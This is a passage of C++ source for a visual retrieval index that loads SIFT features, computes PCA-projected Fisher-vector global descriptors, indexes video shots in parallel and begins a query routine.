query_parameters_.word_selection_mode == WORD_L1_NORM) {\n\t\tindex_.word_l1_norms.resize(current_db_size + number_gd_to_read);\n\t}\n\tif (both_sel_modes || query_parameters_.word_selection_mode == WORD_SOFT_ASSGN) {\n\t\tindex_.word_total_soft_assignment.resize(current_db_size + number_gd_to_read);\n\t}\n\n\t// Loop over items, read and insert them into index_\n\tfor (uint count_item = current_db_size;\n\t     count_item < current_db_size + number_gd_to_read;\n\t     count_item++) {\n\t\t// Read data\n\t\tfread(word_l1_norms_to_read, sizeof(float),\n\t\t      index_parameters_.gd_number_gaussians, index_file);\n\t\tfread(word_total_soft_assignment_to_read, sizeof(float),\n\t\t      index_parameters_.gd_number_gaussians, index_file);\n\t\tif (index_parameters_.gd_unbinarized) {\n\t\t\tfread(fv_to_read, sizeof(float),\n\t\t\t      index_parameters_.gd_number_gaussians\n\t\t\t      *index_parameters_.ld_pca_dim, index_file);\n\t\t} else {\n\t\t\tfread(word_descriptor_to_read, sizeof(uint),\n\t\t\t      index_parameters_.gd_number_gaussians, index_file);\n\t\t}\n\n\t\t// Insert data into index_\n\t\tif (both_sel_modes ||\n\t\t    query_parameters_.word_selection_mode == WORD_L1_NORM) {\n\t\t\tindex_.word_l1_norms.at(count_item)\n\t\t\t.resize(index_parameters_.gd_number_gaussians);\n\t\t\tfor (uint count_gaussian = 0;\n\t\t\t     count_gaussian < index_parameters_.gd_number_gaussians;\n\t\t\t     count_gaussian++) {\n\t\t\t\tindex_.word_l1_norms.at(count_item).at(count_gaussian)\n\t\t\t\t    = word_l1_norms_to_read[count_gaussian];\n\t\t\t}\n\t\t}\n\t\tif (both_sel_modes ||\n\t\t    query_parameters_.word_selection_mode == WORD_SOFT_ASSGN) {\n\t\t\tindex_.word_total_soft_assignment.at(count_item)\n\t\t\t.resize(index_parameters_.gd_number_gaussians);\n\t\t\tfor (uint count_gaussian = 0;\n\t\t\t     count_gaussian < index_parameters_.gd_number_gaussians;\n\t\t\t     count_gaussian++) {\n\t\t\t\tindex_.word_total_soft_assignment.at(count_item).at(count_gaussian)\n\t\t\t\t    = word_total_soft_assignment_to_read[count_gaussian];\n\t\t\t}\n\t\t}\n\t\tif (index_parameters_.gd_unbinarized) {\n\t\t\tindex_.fv.at(count_item)\n\t\t\t.resize(index_parameters_.gd_number_gaussians\n\t\t\t        *index_parameters_.ld_pca_dim);\n\t\t\tfor (uint count_gaussian = 0;\n\t\t\t     count_gaussian < index_parameters_.gd_number_gaussians;\n\t\t\t     count_gaussian++) {\n\t\t\t\t// Get ld_pca_dim-sized vector for this Gaussian\n\t\t\t\tfor (uint d = 0; d < index_parameters_.ld_pca_dim; d++) {\n\t\t\t\t\tindex_.fv.at(count_item).at(count_gaussian\n\t\t\t\t\t                            *index_parameters_.ld_pca_dim\n\t\t\t\t\t                            + d) =\n\t\t\t\t\t                                fv_to_read[count_gaussian*index_parameters_.ld_pca_dim\n\t\t\t\t\t                                        + d];\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tindex_.word_descriptor.at(count_item)\n\t\t\t.resize(index_parameters_.gd_number_gaussians);\n\t\t\tfor (uint count_gaussian = 0;\n\t\t\t     count_gaussian < index_parameters_.gd_number_gaussians;\n\t\t\t     count_gaussian++) {\n\t\t\t\tindex_.word_descriptor.at(count_item).at(count_gaussian)\n\t\t\t\t    = word_descriptor_to_read[count_gaussian];\n\t\t\t}\n\t\t}\n\t}\n\n\t// Clean up\n\tif (word_l1_norms_to_read != nullptr) {\n\t\tdelete [] word_l1_norms_to_read;\n\t\tword_l1_norms_to_read = nullptr;\n\t}\n\tif (word_total_soft_assignment_to_read != nullptr) {\n\t\tdelete [] word_total_soft_assignment_to_read;\n\t\tword_total_soft_assignment_to_read = nullptr;\n\t}\n\tif (word_descriptor_to_read != nullptr) {\n\t\tdelete [] word_descriptor_to_read;\n\t\tword_descriptor_to_read = nullptr;\n\t}\n\tif (fv_to_read != nullptr) {\n\t\tdelete [] fv_to_read;\n\t\tfv_to_read = nullptr;\n\t}\n\n\t// Close file\n\tfclose(index_file);\n\n\t// Update other index_ variables, since now index has changed\n\tupdate_index();\n}\n\nvoid gdindex::write_frame_list(const string file_path)\n{\n\tofstream out_file;\n\tout_file.open(file_path.c_str());\n\tuint number_frames_in_db = index_.frame_numbers_in_db.size();\n\tfor (uint count_line = 0; count_line < number_frames_in_db; count_line++) {\n\t\tout_file << index_.frame_numbers_in_db.at(count_line) << endl;\n\t}\n\tout_file.close();\n}\n\nvoid gdindex::clean_index()\n{\n\tindex_.word_descriptor.clear();\n\tindex_.fv.clear();\n\tindex_.word_l1_norms.clear();\n\tindex_.word_total_soft_assignment.clear();\n\tindex_.frame_numbers_in_db.clear();\n\n\tupdate_index();\n}\n\nuint gdindex::get_number_global_descriptors()\n{\n\treturn index_.number_global_descriptors;\n}\n\nvoid gdindex::generate_index(const vector<string>& feature_files,\n                             const int verbose_level)\n{\n\tuint number_files_to_process = feature_files.size();\n\n\t// Allocate space in index_\n\tindex_.word_l1_norms.resize(number_files_to_process);\n\tindex_.word_total_soft_assignment.resize(number_files_to_process);\n\tif (index_parameters_.gd_unbinarized) {\n\t\tindex_.fv.resize(number_files_to_process);\n\t} else {\n\t\tindex_.word_descriptor.resize(number_files_to_process);\n\t}\n\n\tuint number_files_processed = 0;\n\t#pragma omp parallel for\n\tfor (uint count_file = 0; count_file < number_files_to_process; count_file++) {\n\t\t// Load feature set\n\t\tif (!common::io_utils::is_file_exist(feature_files.at(count_file))) {\n\t\t\tfprintf(stderr, \"Missing feature file: %s\\n\",\n\t\t\t        feature_files.at(count_file).c_str());\n\t\t\texit(EXIT_FAILURE);\n\t\t}\n\t\tcommon::feature_set feat_set;\n\t\tconst char *feat_file_path = feature_files[count_file].c_str();\n\t\tif (index_parameters_.ld_name == SIFT_NAME) {\n\t\t\tcomponents::sift_reader::read_sift_file(feat_file_path,\n\t\t\t                                        index_parameters_.ld_frame_length,\n\t\t\t                                        index_parameters_.ld_length,feat_set);\n\t\t} else if (index_parameters_.ld_name == SIFTGEO_NAME) {\n\t\t\tcomponents::sift_reader::read_sift_geo_file(feat_file_path,\n\t\t\t        index_parameters_.ld_frame_length,\n\t\t\t        index_parameters_.ld_length,feat_set);\n\t\t} else {\n\t\t\tcout << \"Local feature \" << index_parameters_.ld_name\n\t\t\t     << \" is not supported\" << endl;\n\t\t}\n\n\t\t// Generate global signature, put in index_\n\t\tindex_.word_l1_norms.at(count_file).resize(index_parameters_.gd_number_gaussians);\n\t\tindex_.word_total_soft_assignment.at(count_file).resize(index_parameters_.gd_number_gaussians);\n\t\t// -- auxiliary vectors\n\t\tvector<uint> aux_gd_word_descriptor(index_parameters_.gd_number_gaussians);\n\t\tvector<float> aux_gd_fv(index_parameters_.gd_number_gaussians\n\t\t                        *index_parameters_.ld_pca_dim);\n\t\tgenerate_global_descriptor(&feat_set,\n\t\t                           aux_gd_word_descriptor,\n\t\t                           aux_gd_fv,\n\t\t                           index_.word_l1_norms.at(count_file),\n\t\t                           index_.word_total_soft_assignment.at(count_file));\n\t\tif (index_parameters_.gd_unbinarized) {\n\t\t\tindex_.fv.at(count_file) = aux_gd_fv;\n\t\t} else {\n\t\t\tindex_.word_descriptor.at(count_file) = aux_gd_word_descriptor;\n\t\t}\n\n\t\t// Report status\n\t\t#pragma omp critical\n\t\t{\n\t\t\tnumber_files_processed++;\n\t\t}\n\t\tif (verbose_level >= 2) {\n\t\t\tprintf(\"[%06d, %06d] %04d features \\n\",\n\t\t\t       count_file, number_files_processed, feat_set.get_num_features());\n\t\t}\n\t}\n\n\tupdate_index();\n}\n\nvoid gdindex::generate_index_shot_based(const vector<string>& feature_files,\n                                        const vector<uint>& shot_beg_frames,\n                                        const int shot_mode, const int shot_keyf,\n                                        const int verbose_level)\n{\n\tif (verbose_level >= 4) cout << \"Starting generate_index_shot_based...\"\n\t\t                             << endl;\n\tuint number_shots = shot_beg_frames.size();\n\tif (verbose_level >= 3) cout << \"Using \" << number_shots << \" shots\" << endl;\n\n\tuint number_frames_in_db = feature_files.size();\n\tif (verbose_level >= 3) cout << \"There are \" << number_frames_in_db\n\t\t                             << \" frames in the database.\" << endl;\n\n\t// The number of entries in the generated index will vary depending\n\t// on mode and shot_keyf\n\tuint number_entries_in_index = 0;\n\n\t// This vector is used only if frames in shot are stored independently.\n\t// It contains, for each shot number (first entry), a vector with indices\n\t// which are the places in the index where each frame will be placed.\n\tvector < vector < uint > > inds_indep_mode;\n\n\tif (shot_mode == SHOT_MODE_INDEP_KEYF) {\n\t\t// The number of global signatures will vary for this mode,\n\t\t// it depends on the number of frames in each shot, so\n\t\t// we need to calculate\n\t\tfor (uint count_shot = 0; count_shot < number_shots; count_shot++) {\n\t\t\tuint number_frames_this_shot;\n\t\t\t// Note: the number calculated in the following lines is a simple\n\t\t\t// subtraction, since the next number is not part of the shot, so\n\t\t\t// there's no +1 at the end of the calculation\n\t\t\tif (count_shot != number_shots - 1) {\n\t\t\t\tnumber_frames_this_shot = shot_beg_frames.at(count_shot + 1)\n\t\t\t\t                          - shot_beg_frames.at(count_shot);\n\t\t\t} else {\n\t\t\t\tnumber_frames_this_shot = number_frames_in_db\n\t\t\t\t                          - shot_beg_frames.at(count_shot);\n\t\t\t}\n\n\t\t\tuint n;\n\t\t\tif (shot_keyf != -1) {\n\t\t\t\tn = min(number_frames_this_shot, static_cast<uint>(shot_keyf));\n\t\t\t} else {\n\t\t\t\tn = number_frames_this_shot;\n\t\t\t}\n\n\t\t\tvector < uint > shot_inds;\n\t\t\tfor (uint count_f = 0; count_f < n; count_f++) {\n\t\t\t\tshot_inds.push_back(number_entries_in_index + count_f);\n\t\t\t}\n\n\t\t\tnumber_entries_in_index += n;\n\t\t\tinds_indep_mode.push_back(shot_inds);\n\t\t}\n\t} else if (shot_mode == SHOT_MODE_SHOT_AGG) {\n\t\t// This will generate only a global signature per shot\n\t\tnumber_entries_in_index = number_shots;\n\t} else {\n\t\tcout << \"Indexing for shot_mode \" << shot_mode\n\t\t     << \" is not currently implemented. Quitting...\" << endl;\n\t\texit(EXIT_FAILURE);\n\t}\n\n\tif (verbose_level >= 2) cout << \"GD index will contain \"\n\t\t                             << number_entries_in_index << \" entries\" << endl;\n\n\t// Allocate space in index_\n\tindex_.word_l1_norms.resize(number_entries_in_index);\n\tindex_.word_total_soft_assignment.resize(number_entries_in_index);\n\tif (index_parameters_.gd_unbinarized) {\n\t\tindex_.fv.resize(number_entries_in_index);\n\t} else {\n\t\tindex_.word_descriptor.resize(number_entries_in_index);\n\t}\n\n\t// We will loop over shots and aggregate features depending on the mode\n\tuint count_index = 0;\n\t#pragma omp parallel for\n\tfor (uint count_shot = 0; count_shot < number_shots; count_shot++) {\n\t\tuint number_frames_this_shot;\n\t\t// Note: the number calculated in the following lines is a simple\n\t\t// subtraction, since the next number is not part of the shot, so\n\t\t// there's no +1 at the end of the calculation\n\t\tif (count_shot != number_shots - 1) {\n\t\t\tnumber_frames_this_shot = shot_beg_frames.at(count_shot + 1)\n\t\t\t                          - shot_beg_frames.at(count_shot);\n\t\t} else {\n\t\t\tnumber_frames_this_shot = number_frames_in_db\n\t\t\t                          - shot_beg_frames.at(count_shot);\n\t\t}\n\n\t\tif (verbose_level >= 3) cout << \"Doing shot \" << count_shot\n\t\t\t                             << \" out of \" << number_shots << endl;\n\t\tuint number_frames_to_use;\n\t\tif (shot_keyf != -1) {\n\t\t\tnumber_frames_to_use = min(number_frames_this_shot,\n\t\t\t                           static_cast<uint>(shot_keyf));\n\t\t} else {\n\t\t\tnumber_frames_to_use = number_frames_this_shot;\n\t\t}\n\n\t\tif (verbose_level >= 3) cout << \"This shot will use \"\n\t\t\t                             << number_frames_to_use << \" frames\" << endl;\n\n\t\tvector<uint> frames_to_use;\n\t\tsample_frames_from_shot(number_frames_to_use,\n\t\t                        shot_beg_frames.at(count_shot),\n\t\t                        number_frames_this_shot,\n\t\t                        frames_to_use);\n\n\t\tif (shot_mode == SHOT_MODE_INDEP_KEYF) {\n\t\t\tfor (uint count_ind = 0; count_ind < number_frames_to_use;\n\t\t\t     count_ind++) {\n\t\t\t\tuint frame_this_ind = frames_to_use.at(count_ind);\n\t\t\t\tuint ind_in_index = inds_indep_mode.at(count_shot).at(count_ind);\n\t\t\t\t// Load feature set\n\t\t\t\tif (!common::io_utils::is_file_exist(feature_files.at(frame_this_ind))) {\n\t\t\t\t\tfprintf(stderr, \"Missing feature file: %s\\n\",\n\t\t\t\t\t        feature_files.at(frame_this_ind).c_str());\n\t\t\t\t\texit(EXIT_FAILURE);\n\t\t\t\t}\n\t\t\t\tconst char *feature_file_path = feature_files[frame_this_ind].c_str();\n\t\t\t\tcommon::feature_set feat_set;\n\t\t\t\tif (index_parameters_.ld_name == SIFT_NAME) {\n\t\t\t\t\tcomponents::sift_reader::read_sift_file(feature_file_path,\n\t\t\t\t\t                                        index_parameters_.ld_frame_length,\n\t\t\t\t\t                                        index_parameters_.ld_length,feat_set);\n\t\t\t\t} else if (index_parameters_.ld_name == SIFTGEO_NAME) {\n\t\t\t\t\tcomponents::sift_reader::read_sift_geo_file(feature_file_path,\n\t\t\t\t\t        index_parameters_.ld_frame_length,\n\t\t\t\t\t        index_parameters_.ld_length,feat_set);\n\t\t\t\t} else {\n\t\t\t\t\tcout << \"Local feature \" << index_parameters_.ld_name\n\t\t\t\t\t     << \" is not supported\" << endl;\n\t\t\t\t}\n\t\t\t\t// Generate global signature, put in index_\n\t\t\t\tindex_.word_l1_norms.at(ind_in_index).resize(index_parameters_.gd_number_gaussians);\n\t\t\t\tindex_.word_total_soft_assignment.at(ind_in_index).resize(index_parameters_.gd_number_gaussians);\n\t\t\t\t// -- auxiliary vectors\n\t\t\t\tvector<uint> aux_gd_word_descriptor(index_parameters_.gd_number_gaussians);\n\t\t\t\tvector<float> aux_gd_fv(index_parameters_.gd_number_gaussians\n\t\t\t\t                        *index_parameters_.ld_pca_dim);\n\t\t\t\tgenerate_global_descriptor(&feat_set,\n\t\t\t\t                           aux_gd_word_descriptor,\n\t\t\t\t                           aux_gd_fv,\n\t\t\t\t                           index_.word_l1_norms.at(ind_in_index),\n\t\t\t\t                           index_.word_total_soft_assignment.at(ind_in_index));\n\t\t\t\tif (index_parameters_.gd_unbinarized) {\n\t\t\t\t\tindex_.fv.at(ind_in_index) = aux_gd_fv;\n\t\t\t\t} else {\n\t\t\t\t\tindex_.word_descriptor.at(ind_in_index) = aux_gd_word_descriptor;\n\t\t\t\t}\n\n\t\t\t\t#pragma omp critical\n\t\t\t\t{\n\t\t\t\t\tcount_index++;\n\t\t\t\t\tindex_.frame_numbers_in_db.push_back(frame_this_ind);\n\t\t\t\t}\n\t\t\t}\n\t\t} else if (shot_mode == SHOT_MODE_SHOT_AGG) {\n\t\t\t// Collect all features\n\t\t\tcommon::feature_set feat_set(index_parameters_.ld_length,\n\t\t\t                             index_parameters_.ld_frame_length);\n\t\t\tfor (uint count_ind = 0; count_ind < number_frames_to_use; count_ind++) {\n\t\t\t\tuint frame_this_ind = frames_to_use.at(count_ind);\n\t\t\t\tif (verbose_level >= 4) cout << \"Doing frame \" << frame_this_ind << endl;\n\n\t\t\t\t// Load feature set for this frame\n\t\t\t\tcommon::feature_set feat_set_this_frame;\n\t\t\t\tconst char *feat_path = feature_files[frame_this_ind].c_str();\n\t\t\t\tif (index_parameters_.ld_name == SIFT_NAME) {\n\t\t\t\t\tcomponents::sift_reader::read_sift_file(feat_path,\n\t\t\t\t\t                                        index_parameters_.ld_frame_length,\n\t\t\t\t\t                                        index_parameters_.ld_length,feat_set_this_frame);\n\t\t\t\t} else if (index_parameters_.ld_name == SIFTGEO_NAME) {\n\t\t\t\t\tcomponents::sift_reader::read_sift_geo_file(feat_path,\n\t\t\t\t\t        index_parameters_.ld_frame_length,\n\t\t\t\t\t        index_parameters_.ld_length,feat_set_this_frame);\n\t\t\t\t} else {\n\t\t\t\t\tcout << \"Local feature \" << index_parameters_.ld_name\n\t\t\t\t\t     << \" is not supported\" << endl;\n\t\t\t\t}\n\n\t\t\t\tif (verbose_level >= 4) cout << \"Loaded features from this frame\"\n\t\t\t\t\t                             << endl;\n\n\t\t\t\t// Add this frame's features to collection of all shot's features\n\t\t\t\tuint number_features_this_frame =\n\t\t\t\t    feat_set_this_frame.get_num_features();\n\t\t\t\tfor (uint count_f = 0; count_f < number_features_this_frame;\n\t\t\t\t     count_f++) {\n\t\t\t\t\tfloat* aux_ld = new float[index_parameters_.ld_length];\n\t\t\t\t\tcopy_floats(index_parameters_.ld_length,\n\t\t\t\t\t            feat_set_this_frame.get_descriptor_at(count_f), aux_ld);\n\t\t\t\t\tfloat* aux_f = new float[index_parameters_.ld_frame_length];\n\t\t\t\t\tcopy_floats(index_parameters_.ld_frame_length,\n\t\t\t\t\t            feat_set_this_frame.get_frame_at(count_f), aux_f);\n\t\t\t\t\tfeat_set.add_feature(aux_ld, aux_f);\n\t\t\t\t}\n\t\t\t\tif (verbose_level >= 4) cout << \"Added these features to shot's features\" << endl;\n\t\t\t}\n\n\t\t\tif (verbose_level >= 4) cout << \"All features were collected, now shot contains \" << feat_set.get_num_features() << \" features\" << endl;\n\n\t\t\t// Generate global signature, put in index_\n\t\t\tindex_.word_l1_norms.at(count_shot).resize(index_parameters_.gd_number_gaussians);\n\t\t\tindex_.word_total_soft_assignment.at(count_shot).resize(index_parameters_.gd_number_gaussians);\n\t\t\t// -- auxiliary vectors\n\t\t\tvector<uint> aux_gd_word_descriptor(index_parameters_.gd_number_gaussians);\n\t\t\tvector<float> aux_gd_fv(index_parameters_.gd_number_gaussians\n\t\t\t                        *index_parameters_.ld_pca_dim);\n\t\t\tgenerate_global_descriptor(&feat_set,\n\t\t\t                           aux_gd_word_descriptor,\n\t\t\t                           aux_gd_fv,\n\t\t\t                           index_.word_l1_norms.at(count_shot),\n\t\t\t                           index_.word_total_soft_assignment.at(count_shot));\n\t\t\tif (index_parameters_.gd_unbinarized) {\n\t\t\t\tindex_.fv.at(count_shot) = aux_gd_fv;\n\t\t\t} else {\n\t\t\t\tindex_.word_descriptor.at(count_shot) = aux_gd_word_descriptor;\n\t\t\t}\n\n\t\t\t#pragma omp critical\n\t\t\t{\n\t\t\t\tcount_index++;\n\t\t\t}\n\t\t}\n\t}\n\n\t// We need to sort frame_numbers_in_db, because it might not be in order\n\t// due to parallelization.\n\t// Note: this variable is used only if the mode is SHOT_MODE_INDEP_KEYF,\n\t// so if the mode is different it will just sort nothing, it doesnt matter\n\tstable_sort(index_.frame_numbers_in_db.begin(), index_.frame_numbers_in_db.end());\n\n\t// Make sure we processed the correct number of REVV signatures\n\tassert(count_index == number_entries_in_index);\n\tif (shot_mode == SHOT_MODE_INDEP_KEYF) {\n\t\tassert(count_index == index_.frame_numbers_in_db.size());\n\t}\n\n\tupdate_index();\n}\n\nvoid gdindex::generate_global_descriptor(const common::feature_set* feature_set,\n        vector<uint>& gd_word_descriptor,\n        vector<float>& gd_fv,\n        vector<float>& gd_word_l1_norm,\n        vector<float>& gd_word_total_soft_assignment)\n{\n\t// Resize the vectors that will be returned\n\tgd_word_descriptor.resize(index_parameters_.gd_number_gaussians);\n\tgd_word_l1_norm.resize(index_parameters_.gd_number_gaussians);\n\tgd_word_total_soft_assignment.resize(index_parameters_.gd_number_gaussians);\n\n\tuint unbinarized_signature_length = index_parameters_.gd_number_gaussians\n\t                                    *index_parameters_.ld_pca_dim;\n\tfloat* all_pca_desc = new float[feature_set->get_num_features()\n\t                                * index_parameters_.ld_pca_dim];\n\t// Project SIFT using PCA\n\tfor (uint count_feat = 0; count_feat < feature_set->get_num_features(); count_feat++) {\n\t\tproject_local_descriptor_pca(feature_set->get_descriptor_at(count_feat),\n\t\t                             all_pca_desc + count_feat*index_parameters_.ld_pca_dim);\n\t}\n\n\t// Compute Fisher vector\n\tint gmm_flags = GMM_FLAGS_MU;\n\tuint fisher_output_length = gmm_fisher_sizeof(index_parameters_.gd_gmm,\n\t                            gmm_flags);\n\tgd_fv.clear();\n\tgd_fv.resize(fisher_output_length, 0);\n\t// This will extract the FV with only the mean component and using FV normalization\n\t// but NOT the L2 normalization after the end nor the power normalization\n\tgmm_fisher_save_soft_assgn(feature_set->get_num_features(), all_pca_desc,\n\t                           index_parameters_.gd_gmm, gmm_flags, gd_fv.data(),\n\t                           gd_word_total_soft_assignment.data());\n\n\t// Compute L1Norm info\n\tfor (uint count_gaussian = 0;\n\t     count_gaussian < index_parameters_.gd_number_gaussians;\n\t     count_gaussian++) {\n\t\tdouble sum_abs = 0;\n\t\tfor (uint count_dim = count_gaussian*index_parameters_.ld_pca_dim;\n\t\t     count_dim < (count_gaussian + 1)*index_parameters_.ld_pca_dim;\n\t\t     count_dim++) {\n\t\t\tsum_abs += fabs(gd_fv.at(count_dim));\n\t\t}\n\t\tgd_word_l1_norm.at(count_gaussian) = static_cast<float>(sum_abs);\n\t}\n\n\t// IN normalization (if selected)\n\tif (index_parameters_.gd_intra_normalization) {\n\t\tfor (uint count_gaussian = 0;\n\t\t     count_gaussian < index_parameters_.gd_number_gaussians;\n\t\t     count_gaussian++) {\n\t\t\t// Compute L2 norm for this Gaussian\n\t\t\tfloat l2_norm_sq_gaussian = 0;\n\t\t\tfor (uint count_dim = count_gaussian*index_parameters_.ld_pca_dim;\n\t\t\t     count_dim < (count_gaussian + 1)*index_parameters_.ld_pca_dim;\n\t\t\t     count_dim++) {\n\t\t\t\tl2_norm_sq_gaussian += gd_fv.at(count_dim) * gd_fv.at(count_dim);\n\t\t\t}\n\t\t\t// Normalize this Gaussian, if it has non-zero norm\n\t\t\tfloat l2_norm_gaussian = sqrt(l2_norm_sq_gaussian);\n\t\t\tif (l2_norm_gaussian > 0) {\n\t\t\t\tfor (uint count_dim = count_gaussian*index_parameters_.ld_pca_dim;\n\t\t\t\t     count_dim < (count_gaussian + 1)*index_parameters_.ld_pca_dim;\n\t\t\t\t     count_dim++) {\n\t\t\t\t\tgd_fv.at(count_dim) /= l2_norm_gaussian;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Apply power law (if using SSR normalization), and compute L2 norm\n\tfloat l2_norm_sq = 0;\n\tfor (uint count_dim = 0; count_dim < unbinarized_signature_length; count_dim++) {\n\t\tif (!index_parameters_.gd_intra_normalization) {\n\t\t\tPOWER_LAW_SAME(gd_fv.at(count_dim), index_parameters_.gd_power);\n\t\t}\n\t\tl2_norm_sq += gd_fv.at(count_dim) * gd_fv.at(count_dim);\n\t}\n\n\t// L2 normalize\n\tfloat l2_norm = sqrt(l2_norm_sq);\n\tif (l2_norm > L2_NORM_SQ_THRESH) {\n\t\tfor (uint count_dim = 0; count_dim < unbinarized_signature_length; count_dim++) {\n\t\t\tgd_fv.at(count_dim) /= l2_norm;\n\t\t}\n\t}\n\n\t// Sign binarize\n\tsign_binarize(gd_fv, gd_word_descriptor);\n}\n\nvoid gdindex::generate_point_index(const vector<string>& feature_files,\n                                   const int verbose_level,\n                                   vector < vector < uint > >& vec_feat_assgns,\n                                   vector < vector < float > >& vec_feat_assgn_weights,\n                                   vector < vector < vector < float > > >& vec_feat_residuals)\n{\n\tuint number_files_to_process = feature_files.size();\n\n\tvec_feat_assgns.resize(number_files_to_process);\n\tvec_feat_assgn_weights.resize(number_files_to_process);\n\tvec_feat_residuals.resize(number_files_to_process);\n\n\tuint number_files_processed = 0;\n\t#pragma omp parallel for\n\tfor (uint count_file = 0; count_file < number_files_to_process; count_file++) {\n\t\t// Load feature set\n\t\tif (!common::io_utils::is_file_exist(feature_files.at(count_file))) {\n\t\t\tfprintf(stderr, \"Missing feature file: %s\\n\",\n\t\t\t        feature_files.at(count_file).c_str());\n\t\t\texit(EXIT_FAILURE);\n\t\t}\n\t\tcommon::feature_set feat_set;\n\t\tconst char *feat_file_path = feature_files[count_file].c_str();\n\t\tif (index_parameters_.ld_name == SIFT_NAME) {\n\t\t\tcomponents::sift_reader::read_sift_file(feat_file_path,\n\t\t\t                                        index_parameters_.ld_frame_length,\n\t\t\t                                        index_parameters_.ld_length,feat_set);\n\t\t} else if (index_parameters_.ld_name == SIFTGEO_NAME) {\n\t\t\tcomponents::sift_reader::read_sift_geo_file(feat_file_path,\n\t\t\t        index_parameters_.ld_frame_length,\n\t\t\t        index_parameters_.ld_length,feat_set);\n\t\t} else {\n\t\t\tcout << \"Local feature \" << index_parameters_.ld_name\n\t\t\t     << \" is not supported\" << endl;\n\t\t}\n\n\t\tgenerate_point_indexed_descriptor(&feat_set,\n\t\t                                  verbose_level,\n\t\t                                  vec_feat_assgns.at(count_file),\n\t\t                                  vec_feat_assgn_weights.at(count_file),\n\t\t                                  vec_feat_residuals.at(count_file));\n\n\t\t// Report status\n\t\t#pragma omp critical\n\t\t{\n\t\t\tnumber_files_processed++;\n\t\t}\n\t\tif (verbose_level >= 2) {\n\t\t\tprintf(\"[%06d, %06d] %04d features \\n\",\n\t\t\t       count_file, number_files_processed, feat_set.get_num_features());\n\t\t}\n\t}\n}\n\nvoid gdindex::generate_point_indexed_descriptor(const common::feature_set* feature_set,\n        const int verbose_level,\n        vector<uint>& feat_assgns,\n        vector<float>& feat_assgn_weights,\n        vector < vector < float > >& feat_residuals)\n{\n\tunsigned long num_features = feature_set->get_num_features();\n\tfloat* all_pca_desc = new float[num_features\n\t                                * index_parameters_.ld_pca_dim];\n\t// Project SIFT using PCA\n\tfor (uint count_feat = 0; count_feat < num_features; count_feat++) {\n\t\tproject_local_descriptor_pca(feature_set->get_descriptor_at(count_feat),\n\t\t                             all_pca_desc + count_feat*index_parameters_.ld_pca_dim);\n\t}\n\n\t// Compute point-indexed Fisher vector\n\tint gmm_flags = GMM_FLAGS_MU;\n\tuint* p_feat_assgns = new uint[num_features];\n\tfloat* p_feat_assgn_weights = new float[num_features];\n\tfloat* p_feat_residuals = new float[num_features * LD_PCA_DIM];\n\tif (verbose_level >= 4) cout << \"generate_point_indexed_descriptor: Starting gmm_fisher_point_indexed\" << endl;\n\tgmm_fisher_point_indexed(num_features, all_pca_desc,\n\t                         index_parameters_.gd_gmm,\n\t                         gmm_flags, p_feat_assgns,\n\t                         p_feat_assgn_weights,\n\t                         p_feat_residuals);\n\tif (verbose_level >= 4) cout << \"done!\" << endl;\n\n\t// --> Transfer values to output vectors\n\tfeat_assgns.resize(num_features);\n\tfeat_assgn_weights.resize(num_features);\n\tfeat_residuals.resize(num_features);\n\tfor (uint i = 0; i < num_features; i++) {\n\t\tfeat_assgns.at(i) = p_feat_assgns[i];\n\t\tfeat_assgn_weights.at(i) = p_feat_assgn_weights[i];\n\t\tfeat_residuals.at(i).resize(LD_PCA_DIM);\n\t\tfor (uint j = 0; j < LD_PCA_DIM; j++) {\n\t\t\tfeat_residuals.at(i).at(j) = p_feat_residuals[i*LD_PCA_DIM + j];\n\t\t}\n\t}\n\n\t// Clean up\n\tif (all_pca_desc != nullptr) {\n\t\tdelete [] all_pca_desc;\n\t\tall_pca_desc = nullptr;\n\t}\n\tif (p_feat_assgns != nullptr) {\n\t\tdelete [] p_feat_assgns;\n\t\tp_feat_assgns = nullptr;\n\t}\n\tif (p_feat_assgn_weights != nullptr) {\n\t\tdelete [] p_feat_assgn_weights;\n\t\tp_feat_assgn_weights = nullptr;\n\t}\n\tif (p_feat_residuals != nullptr) {\n\t\tdelete [] p_feat_residuals;\n\t\tp_feat_residuals = nullptr;\n\t}\n}\n\nvoid gdindex::perform_query(const string local_descriptors_path,\n                            const gdindex* query_index_ptr,\n                            const uint query_number,\n                            const vector<uint>& indices,\n                            vector< pair<float,uint> >& results,\n                            const uint number_2nd_stage_rerank,\n                            gdindex* gdindex_ptr_rerank,\n                            const vector < vector < uint > >& group_lists_rerank,\n                            const int verbose_level)\n{\n\tcommon::feature_set feat_set;\n\tvector<uint> gd_word_descriptor;\n\tvector<float> gd_fv;\n\tvector<float> gd_word_l1_norm, gd_word_total_soft_assignment;\n\tif (query_index_ptr != nullptr) {\n\t\t// Using pre-computed global descriptor from query_index_ptr\n\t\tif (index_parameters_.gd_unbinarized) {\n\t\t\tgd_fv = query_index_ptr->index_.fv.at(query_number);\n\t\t} else {\n\t\t\tgd_word_descriptor =\n\t\t\t    query_index_ptr->index_.word_descriptor.at(query_number);\n\t\t}\n\t\tif (query_parameters_.word_selection_mode == WORD_L1_NORM) {\n\t\t\tgd_word_l1_norm =\n\t\t\t    query_index_ptr->index_.word_l1_norms.at(query_number);\n\t\t} else {\n\t\t\tgd_word_total_soft_assignment =\n\t\t\t    query_index_ptr->index_.word_total_soft_assignment.at(query_number);\n\t\t}\n\t} else {\n\t\t// Computing query global descriptor\n\n\t\t// --> Load local descriptors\n\t\tif (index_parameters_.ld_name == SIFT_NAME) {\n\t\t\tcomponents::sift_reader::read_sift_file(local_descriptors_path.c_str(),\n\t\t\t                                        index_parameters_.ld_frame_length,\n\t\t\t                                        index_parameters_.ld_length,feat_set);\n\t\t} else if (index_parameters_.ld_name == SIFTGEO_NAME) {\n\t\t\tcomponents::sift_reader::read_sift_geo_file(local_descriptors_path.c_str(),\n\t\t\t        index_parameters_.ld_frame_length,\n\t\t\t        index_parameters_.ld_length,feat_set);\n\t\t} else {\n\t\t\tcout << \"Local feature \" << index_parameters_.ld_name\n\t\t\t     << \" is not supported\" << endl;\n\t\t}\n\n\t\t// --> Generate query global descriptor\n\t\tgenerate_global_descriptor(&feat_set,\n\t\t                           gd_word_descriptor,\n\t\t                           gd_fv,\n\t\t                           gd_word_l1_norm,\n\t\t                           gd_word_total_soft_assignment);\n\t}\n\n\t// If number_2nd_stage_rerank is 0, we're not using two-stage scoring\n\tif (!number_2nd_stage_rerank) {\n\t\tquery(gd_word_descriptor, gd_fv, gd_word_l1_norm,\n\t\t      